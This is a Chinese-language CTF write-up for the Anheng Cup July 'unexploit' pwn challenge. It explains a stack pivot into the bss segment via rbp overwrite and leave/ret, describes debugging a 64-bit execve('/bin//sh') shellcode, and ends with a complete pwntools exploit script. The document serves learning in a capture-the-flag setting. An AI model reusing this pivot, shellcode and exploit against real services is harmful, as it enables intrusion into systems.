经验总结"/>
安恒杯 7月赛PWN-unexploit 经验总结
通过这题发现自己的有很多知识点短板
解题思路:
read函数读取的缓冲区在 rbp-buf 也就是rbp - 0x8 处,那么控制了rbp的值指向我们可以写的区域(比如bss段)就可以在那个区域植入shellcode,再控制ret跳转到shellcode的地址就可以getshell了
具体做法:
把栈段切换到bss段,也就是让bss成为栈段
开始进行溢出的时先把rbp的值覆盖为 bss_addr - 0x8, 然后执行
leave(mov rsp, rbp pop rbp)
ret
时leave指令会把rbp的值 覆盖为 bss_addr - 0x8, rsp保持原样,随后再次ret到 lea rax, [rbp+buf] 处,继续调用read函数
第二次调用read函数时,缓冲区为rbp - 0x8 也就是 bss_addr - 0x10 处,构造bss段的数据前先看看后面的leave 指令会把rsp, rbp改变为何值
rbp = bss_addr - 0x8
leave -> rsp = rbp
也就是rsp 会指向bss_addr - 0x8 , 再经过 pop rbp, rsp 就指向 bss_addr了,也就是ret 的地址再 bss_addr 处, 再经过ret后rsp的值为bss_addr + 0x8
至于rbp的值由我们控制
payload构造想法:
把bss_addr - 0x8 的数据构造成 bss_addr + 0x8 ,这样下次调用read函数时缓冲区从bss_addr 开始,之后再是lea rax, [rbp+buf] 处的地址
所以**payload2 = 'a’0x8 + p64(bss_addr + 0x8) + p64(read) + 'a’0x8
第三次调用read函数,接下来考虑shellcode的放置地址
缓冲区开始抵制在bss_addr 处,由于后面call read的时候会把下一条指令的地址入栈,所以在调用read函数的过程中rsp的值会变成bss_addr ,指向read函数ret的地址,所以把这个地址覆盖成shellcode 的返回地址就可以成功执行shellcode从而getshell了
payload3 = p64(bss_addr + 8) + shellcode
以下为写Exp过程碰到的问题:
**1.**题目中的read(0, &buf, 0x20);
图1:
上图是看了被人wp 知道了思路后自己写的Exp,红色箭头处是发生读取错误的地方,
图2:
本意是想把数据送入 bss-0x10 处,数据分布本应该是:
图3:
然而却发生了图2 那样的错误,然后我就不断调试,看了很久才终于发现了错误,既然read函数读取32 个字节那么它就会读取32个字节, 把图1中第一处箭头 看作是上一次read函数读取的数据的话,那么第一次调用read函数读取的字节就是32字节,然后第二次read函数 读取数据是从 p64(bss - 0x8) 开始读取,由于不够32个字节,所以只读取了
p64(bss - 0x8)
p64(read)
的数据,只有16个字节,再读取后面payload中的16个字节就出现了图2的现象…
把每一次payload 都构造成32 字节的数据的话就会出现图3 的正确结果
**2.**64位shellcode
我试过好几个64位shellcode,在动态调试的时候不知为何在执行push rsp指令的时候总是会抛出SIGSEGV错误,黑人问号(???
不得已去寻找其他shellcode,找到了下面的shellcode
汇编源码:
链接
xor rsi, rsi push rsi mov rdi, 0x68732f2f6e69622f push rdipush rsp pop rdi mov al, 59 cdq syscall
但是有 push rsp 指令,所以我改动了一下:
section .textglobal _start
_start:xor rsi, rsipush rsimov rdi, 0x68732f2f6e69622fpush rdimov rdi, rspmov al, 59cdqsyscall
之后再提取的机器码为:
"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x99\x0f\x05"
拿到机器码后兴冲冲再去测试一下,然后又出现了EOF错误,然后再去调试…
看到没有push rdi 指令,黑人问号(???
然后仔细检查,发现push rdi 指令的机器码(57)混入了**/bin/sh的机器码中,然后再检查/bin//sh的机器码,发现少了条’/’, 也就是少了个2f**,
就出现了上图箭头处的情况,黑人问号(???,然后我尝试手动加上那个被吞入异次元的2f,shellcode变为
"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x99\x0f\x05"
最后终于getshell,我哭了…
最终Exp:
from pwn import *context.log_level = 'debug'
context.arch = 'amd64'
p = process("./unexploit")
#context.terminal = ['tmux', 'splitw', '-h']
#gdb.attach(proc.pidof(p)[0], gdbscript="b *0x400678")elf = ELF("./unexploit")bss = elf.bss() + 0x800
read = 0x40068Apayload = 'a'*0x8
payload += p64(bss - 0x8)
payload += p64(read)
payload += 'a'*0x8
p.send(payload)payload = 'a'*0x8
payload += p64(bss + 0x8)
payload += p64(read)
payload += 'a'*0x8
p.send(payload)payload = p64(bss + 0x8)
payload += "\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x99\x0f\x05"
p.send(payload)p.interactive()
更多推荐
安恒杯 7月赛PWN-unexploit 经验总结
发布评论